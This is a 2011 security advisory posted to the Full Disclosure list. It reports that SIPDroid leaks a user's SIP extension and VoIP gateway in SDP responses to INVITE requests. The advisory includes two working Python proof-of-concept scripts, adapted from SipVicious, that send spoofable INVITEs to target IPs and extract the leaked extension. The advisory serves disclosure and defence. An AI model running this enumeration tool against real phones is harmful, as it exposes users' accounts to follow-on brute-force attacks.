Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

SIPDroid user/extension enum
From: Anibal Aguiar <anibal.aguiar () tempest com br>
Date: Tue, 03 May 2011 17:50:45 -0300

=====[Tempest Security Intelligence - Advisory #01/2011]
========================================================================================================================

User enumeration in SIPDroid Agent
----------------------------------

Author: Anibal Vaz Marques de Aguiar < anibal.aguiar *SPAM* tempest.com.br >


=====[Table of Contents]
========================================================================================================================

1. Overview
2. Detailed description
3. Other contexts & Solutions
4. Concept Proof & Tool
5. Timeline
6. Thanks
7. References


=====[Overview]
========================================================================================================================

* Systems affected: SIPDroid 1.6.1 beta, 2.0.1 beta, 2.2 beta (running 
in Android 2.1 - official Motorola release)
(other versions may be affected)
* Release date: 03 May 2011
* Impact: This vulnerability may allow information leak, especifically 
the SIP "extension" and the
VoIP gateway in use by the SIPDroid Agent/Client.

The Sipdroid Open Source Project[1] presents SIPDroid as a functional 
(in development) SIP agent/client
for Android systems. SIPDroid is known as the most popular SIP client on 
Android market[2].

We noted is possible to leak sensitive information due the way SIPDroid 
responds to INVITE packets,
specifically on the SDP portion of the "Ringing" messages, after a 
successful INVITE. It seems the
main problem here is the way that SIPDroid deals with the ORIGIN field 
of the SDP, when it informs
the extension/login and the address where the softphone registers itself.

The SDP Specification as described by RFC 4566[3] states the ORIGIN 
field syntax as follows:

"o=<username> <session id> <version> <network type> <address type> 
<address>"

where the username portion of the ORIGIN field is defined as follows:

"<username> is the user's login on the originating host, or it is "-"
if the originating host does not support the concept of user IDs.
The <username> MUST NOT contain spaces."



=====[Detailed description]
========================================================================================================================

SIPDroid sends, specially in the "Ringing" response (or even in "200 OK" 
response), specifically in
the "ORIGIN" SDP portion field, the extension (user) and the defined 
VoIP gateway in users's profile.

A tipical "Ringing" response from SIPDroid is as follows:

------------------------------------------------------------------------------------------------------

SIP/2.0 180 Ringing
Via: SIP/2.0/UDP XXX.XXX.XXX.XXX:5060;branch=z9hG4bK2987630636;rport=5060
To: sip:XXX.XXX.XXX.XXX;tag=d49a182ceb609de8
From: XXX.XXX.XXX.XXX;tag=as1386001
Call-ID: 581400284 () XXX XXX XXX XXX
CSeq: 1 INVITE
Server: Sipdroid/1.6.1 beta/A853
Content-Length: 252
Content-Type: application/sdp

v=0
o=abc () 1 1 1 1 0 0 IN IP4 XXX.XXX.XXX.XXX
s=Session SIP/SDP
c=IN IP4 XXX.XXX.XXX.XXX
t=0 0
m=audio 21000 RTP/AVP 3 101
a=rtpmap:3 GSM/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
m=video 21070 RTP/AVP 103
a=rtpmap:103 h263-1998/90000

------------------------------------------------------------------------------------------------------

Note that the "ORIGIN" field ("o=") in the SDP portion received, the 
username portion is
'extension () VoIP Gateway'. That VoIP gateway, in this case, is not a real 
one so the agent does
not need to be registered in the VoIP PBX/gateway to this issue occurs.

This problem also happens on "200 OK" response to the INVITE 
solicitation, where the problem
seems to be less critical considering that depends on the user accepts 
the call,
to this message (the 200 OK and SDP portion as described) be sent to a 
presumed attacker.


=====[Other contexts & Solutions]
========================================================================================================================

A well positioned attacker could take advantage of this issue (sensitive 
information for free)
and make use of the extensions (users) data for future brute force 
attacks, for example.

It seems sending the ORIGIN field as the RFC 4566 states this can 
address this specific issue,
as other SIP clients do.


=====[Concept Proof Tool]
========================================================================================================================

Here a tool, SipVicious[4] based, to disclosure the sensitive 
information as shown:

*Warning: on copy and paste take care of code indentation*

-----[myhelper.py]------------------------------------------------------------------------------------------------------

#!/usr/bin/env python
# Adapted from SipVicious by Anibal Aguiar - anibal.aguiar *SPAM* 
tempest.com.br
#
# This code is only for security researches/teaching purposes,use at 
your own risk!


import sys
import random

def printmsg(msg, color):
OKGREEN = '\033[92m'
OKBLUE = '\033[96m'
ENDC = '\033[0m'
WARN = '\033[91m'

if color is "Blue":
return OKBLUE + msg + ENDC
elif color is "Green":
return OKGREEN + msg + ENDC
elif color is "WARNING":
return WARN + msg + ENDC

def makeRequest(method,dspname,toaddr,
dsthost,port,callid,srchost='',
branchunique=None,localtag=None,
extension=None,body='',useragent=None,
cseq=1,auth=None,contact='<sip:123 () 1 1 1 1>',
accept='application/sdp',contentlength=None,
localport=5060,contenttype=None):

if extension is None:
uri = 'sip:%s' % dsthost
else:
uri = 'sip:%s () %s' % (extension,dsthost)
if branchunique is None:
branchunique = '%s' % random.getrandbits(32)
headers = dict()
finalheaders = dict()
superheaders = dict()
superheaders['Via'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK%s;rport' % 
(srchost,localport,branchunique)
headers['Max-Forwards'] = 70
headers['To'] = uri
headers['From'] = "\"%s\"" % dspname
if useragent is None:
headers['User-Agent'] = 'friendly-scanner'
headers['From'] += ';tag=as%s' % localtag
headers['Call-ID'] = "%s () %s" % (callid,srchost)
if contact is not None:
headers['Contact'] = contact
headers['CSeq'] = '%s %s' % (cseq,method)
headers['Max-Forwards'] = 70
headers['Accept'] = accept
if contentlength is None:
headers['Content-Length'] = len(body)
else:
headers['Content-Length'] = contentlength
if contenttype is None and len(body) > 0:
contenttype = 'application/sdp'
if contenttype is not None:
headers['Content-Type'] = contenttype

r = '%s %s SIP/2.0\r\n' % (method,uri)
for h in superheaders.iteritems():
r += '%s: %s\r\n' % h
for h in headers.iteritems():
r += '%s: %s\r\n' % h
for h in finalheaders.iteritems():
r += '%s: %s\r\n' % h
r += '\r\n'
r += body
return r, branchunique


----[SIPDroid-Extension_Enum.py]----------------------------------------------------------------------------------------

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Anibal Aguiar - anibal.aguiar *SPAM* tempest.com.br
#
# Dependences:
#
# optparse - The optparse library can be installed using the linux 
repository
# of your distro.
#
# myHelper -- myHelper.py should be placed at the same diretory of 
SIPDroid-Extension_Enum.py
#
# This software is based on some functions of sipvicious-0.2.6.
#
# This code is only for security researches/teaching purposes,use at 
your own risk!
#

import sys
import random
import re
from optparse import OptionParser
from socket import *
from myhelper import *


parse = OptionParser()
parse.add_option("-i", "--ip", dest="ip", help="Target IP range (CIDR or 
unique IP). (MANDATORY)")
parse.add_option("-s", "--source", dest="source", help="Source IP 
number. (MANDATORY)")
parse.add_option("-f", "--srcfake", dest="srcfake", help="Source IP 
number (fake).")
parse.add_option("-p", "--dstport", dest="dstport", default=5060, 
help="Destine port number (MAMDATORY due to SIPDroid Random port). 
(default 5060)")
parse.add_option("-e", "--extension", dest="exten", default=None, 
help="Destine extension. (default None)")
parse.add_option("-t", "--tag", dest="tag", default=None, help="Call 
TAG. (default random)")
parse.add_option("-v", "--verbose", action="store_true", dest="debug", 
default="False", help="Verbose mode - print pakets sent and received. 
(default False)")

(options, arg) = parse.parse_args()

if not options.exten:
extension = "SIPDROID"
else:
extension = options.exten
if not options.srcfake:
srcfake = '1.1.1.1'
else:
srcfake = options.srcfake
dstport = int(options.dstport)

if not options.ip or not options.source:
print printmsg("Sintaxe erro. Try %s --help" % sys.argv[0], "WARNING")
sys.exit(1)
else:
dsthost = options.ip
fromhost = options.source
if options.tag is None:
tag = random.getrandbits(22)
else:
tag = options.tag

buf = 1024
addr = (dsthost,dstport)
cid='%s' % str(random.getrandbits(32))
branch=None
srcaddr = (fromhost,5062)

# Create socket
UDPSock = socket(AF_INET,SOCK_DGRAM)
# Binding on 5060
UDPSock.bind(srcaddr)

# Send messages
method = "INVITE"
(header,branch) = 
makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag)
if(UDPSock.sendto(header, addr)):
sent = True
if options.debug is True:
print printmsg("Data Sent:", "WARNING")
print header
print printmsg("INVITE sent to %s!\n" % dsthost, "Green")
else:
sent = False

# Receive messages
while sent:
try:
UDPSock.settimeout(4)
data,bindaddr = UDPSock.recvfrom(buf)
if options.debug is True:
print printmsg("Data Received:", "WARNING")
print data
if re.search('SIP/2.0 180 Ringing', data):
packet = data.split('\n')
for packetline in packet:
for origin in re.finditer('o\=[a-zA-Z0-9\-]+\ () [a-zA-Z0-9 \-]+', packetline):
print printmsg("o=<extension>@<server>: %s\n" % origin.group(0), "Blue")

method = 'CANCEL'
(header, branch) = 
makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag)
if options.debug is True:
print printmsg("Data Sent:", "WARNING")
print header
UDPSock.sendto(header, addr)
sent = False
except Exception as excpt:
print excpt
print printmsg("OPS... Timeout on receving data or something wrong with 
socket... take a look at dest. port number too (-p option).", "WARNING")
sent = False

# Close socket
UDPSock.close()


=====[Timeline]
========================================================================================================================

After testing SIPDroid 1.6.1 beta and 2.0.1 beta as well, we contacted 
the SIPDroid project.
They answered "(…) This is no security risk because Sipdroid talks to 
it's SIP server only.
It does not answer call requests from anywhere else (…)".

We insisted the problem exists, we built and sent the (attached) tool 
for the concept proof sake.
After that, no more answers from SIPDroid Project and they released more 
one still vulnerable
version (2.2 beta).


=====[Thanks to]
========================================================================================================================

- Tempest Security Intelligence[5] - Tempest Coadmin Team
- Evandro Curvelo Hora < evandro *SPAM* tempest.com.br >
- Renato Bezerra < renato *SPAM* tempest.com.br >
- Diego Buarque < diego.buarque *SPAM* tempest.com.br >
- Heyder Andrade < heyder.andrade *SPAM* tempest.com.br >
- Sandro Gauci & Sipvicious supporters team < 
http://code.google.com/p/sipvicious/ >


=====[References]
========================================================================================================================

[1] http://www.sipdroid.org
[2] https://market.android.com/details?id=org.sipdroid.sipua
[3] http://tools.ietf.org/html/rfc4566
[4] http://code.google.com/p/sipvicious/
[5] http://www.tempest.com.br


========================================================================================================================
 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • SIPDroid user/extension enum Anibal Aguiar (May 03)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]